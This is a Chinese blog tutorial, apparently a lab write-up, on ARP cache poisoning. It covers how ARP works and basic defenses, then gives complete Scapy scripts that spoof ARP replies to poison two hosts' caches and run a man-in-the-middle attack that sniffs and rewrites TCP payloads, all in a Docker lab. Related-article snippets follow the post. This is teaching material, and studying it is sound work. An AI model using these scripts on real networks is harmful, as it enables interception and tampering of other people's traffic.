arp缓存中毒实验

文章目录

  • 一、相关知识
    • 1.什么是arp(地址解析协议)
    • 2.什么是免费arp
      • (1)简介
      • (2)主要应用
      • (3)代码
    • 3.什么是arp缓存中毒
      • (1)简介
      • (2)过程
      • (3)目的
      • (4)防御
  • 二、arp缓存中毒 攻击过程
    • 1.搭建网络
      • (1)网络拓扑
      • (2)搭建网络的代码
    • 2.查看ip对应的MAC
      • (1)docker2(192.168.60.1)的MAC
      • (2)HostA和HostM的MAC
    • 3.arp缓存中毒攻击
      • (1)代码
    • 4.中间人攻击

参考资料:
TCP/IP Attacks – ARP Cache Poisoning Fundamentals Explained
ARP缓存中毒攻击

一、相关知识

1.什么是arp(地址解析协议)

ARP工作在OSI模型的第二层(数据链路层)和第三层(网络层)之间。

以下是ARP的基本工作流程:
1)ARP请求
当设备A需要向设备B发送数据时,它需要知道设备B的MA C地址。
设备A在其ARP缓存中查找设备B的IP地址是否已经对应了一个MAC地址。如果找不到,设备A会发送一个ARP请求。
ARP请求是一个广播消息,包含发送方的IP地址和MAC地址,以及目标设备的IP地址。
2)ARP响应
网络中的所有设备都会接收并检查这个ARP请求。只有目标设备(设备B)会进行响应。
设备B接收到ARP请求后,发送一个ARP响应,包含自己的MAC地址。
设备A接收到ARP响应后,将设备B的IP地址和MAC地址映射存储在其ARP缓存中。
3)数据传输
设备A现在有了设备B的MAC地址,可以通过数据链路层进行数据传输。

2.什么是免费arp

(1)简介

免费ARP(Gratuitous ARP)是一种特殊的ARP请求,设备发送这种请求并不是为了解析某个IP地址,而是为了主动通知网络中的其他设备关于自身的IP地址和MAC地址的映射。免费ARP消息中,源IP地址和目标IP地址都是发送设备的IP地址。以下是免费ARP的主要应用和工作原理。

(2)主要应用

1)IP地址冲突检测:
当设备启动并获取IP地址后,会发送一个免费ARP请求。
如果网络中存在另一台设备拥有相同的IP地址,该设备会响应此请求,从而检测到IP地址冲突。

2)ARP缓存更新:
当设备的MAC地址发生变化(例如,网卡更换或虚拟机迁移)时,发送免费ARP请求通知网络中的其他设备更新它们的ARP缓存。
这有助于保持网络中ARP缓存的最新状态,避免通信问题。

3)网络冗余和负载均衡:
在使用VRRP(虚拟路由器冗余协议)和HSRP(热备份路由协议)等协议时,主路由器发生切换后,会发送免费ARP请求通知网络中的设备更新ARP缓存,以指向新的主路由器。

(3)代码

from scapy.all import *# 构建免费ARP请求包
gratuitous_arp = ARP(op=1, psrc="192.168.1.100", hwsrc="aa:bb:cc:dd:ee:ff", pdst="192.168.1.100")# 发送免费ARP请求
send(gratuitous_arp, verbose=False)

3.什么是arp缓存中毒

(1)简介

ARP缓存中毒(ARP Cache Poisoning),也称为ARP欺骗(ARP Spoofing),是一种网络攻击技术,攻击者通过发送伪造的ARP(地址解析协议)消息到局域网(LAN),将其MAC地址与另一台合法计算机的IP地址相关联,从而导致网络数据包被错误地发送到攻击者的设备。

(2)过程

1)伪造ARP响应:攻击者向局域网中的其他设备发送伪造的ARP响应消息。这些伪造消息包含攻击者的MAC地址和被攻击者的IP地址。
2)更新ARP缓存:接收到伪造ARP响应的设备会更新其ARP缓存,错误地将攻击者的MAC地址与合法的IP地址相关联。
3)数据包重定向:由于设备的ARP缓存已被中毒,发送到受害者IP地址的数据包会被错误地发送到攻击者的设备。

(3)目的

1)中间人攻击(Man-in-the-Middle Attack):攻击者可以截获、监视和修改在两个设备之间传输的数据。
2)拒绝服务(Denial of Service, DoS):攻击者可以通过中毒多个设备的ARP缓存,导致网络中断。
3)网络嗅探(Network Sniffing):攻击者可以捕获敏感信息,如用户名、密码、银行信息等。

(4)防御

1)静态ARP表:在设备上配置静态ARP映射,防止动态更新。
2)ARP检测工具:使用工具监控和检测ARP欺骗行为。
3)加密通信:使用加密协议保护敏感数据,防止被篡改和窃取。

二、arp缓存中毒 攻击过程

1.搭建网络

(1)网络拓扑

在这里插入图片描述

(2)搭建网络的代码

在 VM 上创建 docker 网络 extranet 
$ sudo docker network create --subnet=10.0.2.0/24 --gateway=10.0.2.8 --opt 
"com.docker.network.bridge.name"="docker1" extranet 
在 VM 上创建 docker 网络 intranet 
$ sudo docker network create --subnet=192.168.60.0/24 --gateway=192.168.60.1 --
opt "com.docker.network.bridge.name"="docker2" intranet 
在 VM 上新开一个终端,创建并运行容器 Server2
$sudo docker run -it --name=Server2 --hostname=Server2 --net=extranet --
ip=10.0.2.7 --privileged "seedubuntu" /bin/bash 
在 VM 上新开一个终端,创建并运行容器 HostA
$sudo docker run -it --name=HostA --hostname=HostA --net=intranet --
ip=192.168.60.2 --privileged "seedubuntu" /bin/bash 
在 VM 上新开一个终端,创建并运行容器 HostM
$sudo docker run -it --name=HostM --hostname=HostM --net=intranet --
ip=192.168.60.3 --privileged "seedubuntu" /bin/bash

2.查看ip对应的MAC

(1)docker2(192.168.60.1)的MAC

命令: ifconfig

结果:

在这里插入图片描述

HostB(192.168.60.1)的MAC为02:42:53:be:7a:36

(2)HostA和HostM的MAC

让HostA和HostM互相Ping,再用arp -a查看arp表:

在这里插入图片描述
HostA(192.168.60.2)的MAC为 02:42:c0:a8:3c:02

HostM(192.168.60.3)的MAC为 02:42:c0:a8:3c:03

3.arp缓存中毒攻击

(1)代码

在桌面建立一个arp_request.py文件:

from scapy.all import *
from time import *# Machine A's informaton
IP_A = "192.168.60.2"
MAC_A = "02:42:c0:a8:3c:02"# Machine B's informaton
IP_B = "192.168.60.1"
MAC_B = "02:42:53:be:7a:36"# Attacker Machine's informaton
IP_M = "192.168.60.3"
MAC_M = "02:42:c0:a8:3c:03"print("SENDING SPOOFED ARP REPLY.........")# Construct spoofed ARP sent to machine A
ether1 = Ether()
ether1.dst = MAC_A
arp1 = ARP()
arp1.psrc = IP_B
arp1.hwsrc = MAC_M
arp1.pdst = IP_A
arp1.op = 1
frame1 = ether1/arp1# Construct spoofed ARP sent to machine B
ether2 = Ether()
ether2.dst = MAC_B
arp2 = ARP()
arp2.psrc = IP_A
arp2.hwsrc = MAC_M
arp2.pdst = IP_B
arp2.op = 1
frame2 = ether2/arp2while 1:sendp(frame1)sendp(frame2)sleep(5)

首先需要启动容器HostA和HostM:
sudo docker start HostA
sudo docker start HostM

将arp_request.py文件从主机移到HostM容器里:
sudo docker cp arp_request.py HostM:/

重新开一个终端,进入HostA,并ping192.168.60.1和192.168.60.3:
sudo docker exec -it HostA bin/bash
ping 192.168.60.1
ping 192.168.60.3

重新开一个终端,进入HostM,运行上述代码文件:
sudo docker exec -it HostM bin/bash
python3 arp_request.py

在HostA终端查看HostA的arp表:
arp -a
可以发现,HostB和HostM的MAC此时是一样的。

在这里插入图片描述

4.中间人攻击

(1)首先应该打开HostM的IP转发:sudo sysctl -w net.ipv4.ip_forward=1

(2)在HostA和HostB之间建立网络连接。
例如,可以使用netcat:
在HostB上启动监听:nc -l -p 12345
在HostA上连接HostB:nc 192.168.60.1 12345

(3)关闭HostM的IP转发
sudo sysctl -w net.ipv4.ip_forward=0

(4)HostM运行代码middle.py

#!/usr/bin/python
from scapy.all import *VM_A_IP = "192.168.60.2"
VM_B_IP = "192.168.60.1"MAC_A = "02:42:c0:a8:3c:02"
MAC_B = "02:42:53:be:7a:36"def spoof_pkt(pkt):if pkt[IP].src == VM_A_IP and pkt[IP].dst == VM_B_IP and pkt[TCP].payload:print("ARP Cache Poisoning Man-in-the-MiddleAttacking...")data = pkt[TCP].payload.loadprint("Original Packet.........")print("Source IP: ", pkt[IP].src)print("Destination IP: ", pkt[IP].dst)print("Message: ", data)print("Message Length: %d" % (len(data)))newpkt = IP(bytes(pkt[IP]))del (newpkt.chksum)del (newpkt[TCP].payload)del (newpkt[TCP].chksum)newdata = data.replace(b'123', b'456')newpkt = newpkt/newdataprint("Spoofed Packet.........")print("Source IP : ", newpkt[IP].src)print("Destination IP :", newpkt[IP].dst)print("Message: ", newdata)print("Message Length: %d" % (len(newdata)))send(newpkt)elif pkt[IP].src == VM_B_IP and pkt[IP].dst == VM_A_IP:print("The message is sent from host B to host A...")newpkt = pkt[IP]send(newpkt)f = 'tcp and (ether src ' + MAC_A + ' or ' + \'ether src ' + MAC_B + ' )'
pkt = sniff(iface="eth0", filter=f, prn=spoof_pkt)

此时,A给B发送123,B收到的是456

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/869283.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

24吉林事业单位报名照上传通过别忘了这一步

24吉林事业单位报名照上传通过别忘了这一步 #吉林事业单位 #吉林三支一扶 #吉林事业编 #事业单位报名照片 #吉林事业单位考试 #吉林市事业单位

泛微E9开发 控制Radio框字段打印是否仅显示选中项文字

控制Radio框字段打印是否仅显示选中项文字 1、需求说明2、实现方法3、扩展知识点控制Radio框字段打印是否仅显示选中项文字格式参数说明样例 1、需求说明 当我们对单选框进行打印时,往往会把所有的选项一起打印出来(如下图所示),现…

【AIGC】一、本地docker启动私有大模型

本地docker启动私有大模型 一、最终效果中英文对话生成代码 二、资源配置三、搭建步骤启动docker容器登录页面首次登录请注册登录后的效果 配置模型尝试使用选择模型选项下载模型选择适合的模型开始下载 试用效果返回首页选择模型中英文对话生成代码 四、附录资源监控 五、参考…

Redis过期策略

过期的key集合 Redis会将每个设置了过期时间的key放入到一个独立的字典中,以后会定时遍历这个字典来删除到期的key。除了定时遍历之外,他还会使用惰性策略来删除过期的key,所谓惰性策略就是在客户端访问这个key的时候,redis对key…

[C++] 由C语言过渡到C++的敲门砖

命名空间 在C/C中,变量、函数和后⾯要学到的类都是⼤量存在的,这些变量、函数和类的名称将都存在于全局作⽤域中,可能会导致很多冲突。使⽤命名空间的⽬的是对标识符的名称进⾏本地化,以避免命名冲突或名字污染 。 在同一个工程中…

Python基础-成年人判断(if条件语句联系)

注意输入的年龄需要转化为字符串 代码: print("欢迎来到游乐场:儿童免费,成人收费") age int(input("请输入你的年龄:")) if age>18:print("你已经成年,需要补票10元") # 四个空格缩进print…

使用ssh服务器管理远程主机

前言:本博客仅作记录学习使用,部分图片出自网络,如有侵犯您的权益,请联系删除 目录 一、配置网卡服务 1、配置网卡参数 2、创建网络会话 3、绑定两块网卡 二、远程控制服务 1、配置sshd服务 2、在Windows连接 3、安全密钥…

数据仓库哈哈

数据仓库 基本概念数据库(database)和数据仓库(Data Warehouse)的异同 整体架构分层架构方法论ER模型(建模理论)维度模型 何为分层第一层:数据源(ODS ER模型)设计要点日志…

Studying-代码随想录训练营day34| 62.不同路径、63.不同路径II、343.整数拆分、96.不同的二叉搜索树

第34天,动态规划part02,牢记五部曲步骤,编程语言:C 目录 62.不同路径 63.不同路径II 343.整数拆分 96.不同的二叉搜索树 总结 62.不同路径 文档讲解:代码随想录不同路径 视频讲解:手撕不同路径 题目…

源码编译构建LAMP(企业网站架构部署与优化)

部署LAMP平台 LAMV架构是目前成熟的企业网站应用模式之一,指的是协同工作的一整套系统和相关软件,能够提供动态Web站点服务及其应用开发环境。LAMP是一个缩写词,具体包 括 Linux操作系统,Apache网站服务器、MySQL数据库服务器、P…

【Python】基础语法体系:两种常用语句

个人主页:【😊个人主页】 系列专栏:【❤️Python】 文章目录 前言条件语句动态实例if语句if-else 语句if-elif-else 语句嵌套条件语句 循环语句for循环while循环 动态实例嵌套循环 前言 Python语句是构成Python程序的基本单元,用…

C++之goto陈述

关键字 goto用于控制程式执行的顺序&#xff0c;使程式直接跳到指定标签(lable) 的地方继续执行。 形式如下 标签可以是任意的识别字&#xff0c;后面接一个冒号。 举例如下 #include <iostream>int main() {goto label_one;label_one: {std::cout << "Lab…

【漏洞复现】29网课交单平台 SQL注入

声明&#xff1a;本文档或演示材料仅用于教育和教学目的。如果任何个人或组织利用本文档中的信息进行非法活动&#xff0c;将与本文档的作者或发布者无关。 一、漏洞描述 29网课交单平台是一个在线学习平台&#xff0c;用于帮助学生完成网络课程的学习任务。这个平台提供了包括…

Transformer中的编码器和解码器结构有什么不同?

Transformer背后的核心概念&#xff1a;注意力机制&#xff1b;编码器-解码器结构&#xff1b;多头注意力等&#xff1b; 例如&#xff1a;The cat sat on the mat&#xff1b; 1、嵌入&#xff1a; 首先&#xff0c;模型将输入序列中的每个单词嵌入到一个高维向量中表示&…

前端面试题34(在移动应用中,通用的实时传输协议)

在移动应用中&#xff0c;选择实时传输协议时通常会考虑几个关键因素&#xff1a;网络效率、功耗、实时性、跨平台兼容性以及数据类型&#xff08;如文本、图像、视频&#xff09;。以下是几种常用的实时传输协议及其在移动应用中的适用性&#xff1a; 1. WebSocket WebSocke…

AI转绘_animatediff-cli-prompt-travel

这个工具有两种主要模式&#xff1a;它可以直接通过提示创建视频&#xff0c;或者它可以对现有视频进行风格化。还有方法可以提高视频的分辨率。 正如工具名称所示&#xff0c;它的一个主要特点是"提示旅行"。这意味着你可以例如使用特定的提示用于前20帧&#xff0…

Github绑定自己的域名

Github绑定自己的域名 1.注册自己的域名2.在GitHUb上创建一个自己的仓库&#xff0c;添加域名2.1 创建仓库2.2 添加域名2.3 在Setting中将域名添加到Custom domain中 3.添加域名解析获取ip地址4.在阿里云修改域名解析记录5.ping 域名即可成功 详细内容可参该博客&#xff1a; …

算法复杂度

目录 1. 数据结构前言 1.1 数据结构 1.2 算法 2. 算法效率 2.1 复杂度的概念 3. 时间复杂度 3.1 大O的渐进表示法 3.2 时间复杂度计算示例: 3.2.1 示例1 3.2.2 示例2 3.2.3 示例3 3.2.4 示例4 3.2.6 示例6 4. 空间复杂度 4.1 空间复杂度计算示例 4.1.1 示例1 …

Nacos2.X 配置中心源码分析:客户端如何拉取配置、服务端配置发布客户端监听机制

文章目录 Nacos配置中心源码总流程图NacosClient源码分析获取配置注册监听器 NacosServer源码分析配置dump配置发布 Nacos配置中心源码 总流程图 Nacos2.1.0源码分析在线流程图 源码的版本为2.1.0 &#xff0c;并在配置了下面两个启动参数&#xff0c;一个表示单机启动&#…

Java面试八股之MySQL主从复制机制简述

MySQL主从复制机制简述 MySQL的主从复制机制是一种数据复制方案&#xff0c;用于在多个服务器之间同步数据。此机制允许从一个服务器&#xff08;主服务器&#xff09;到一个或多个其他服务器&#xff08;从服务器&#xff09;进行数据的复制&#xff0c;从而增强数据冗余、提…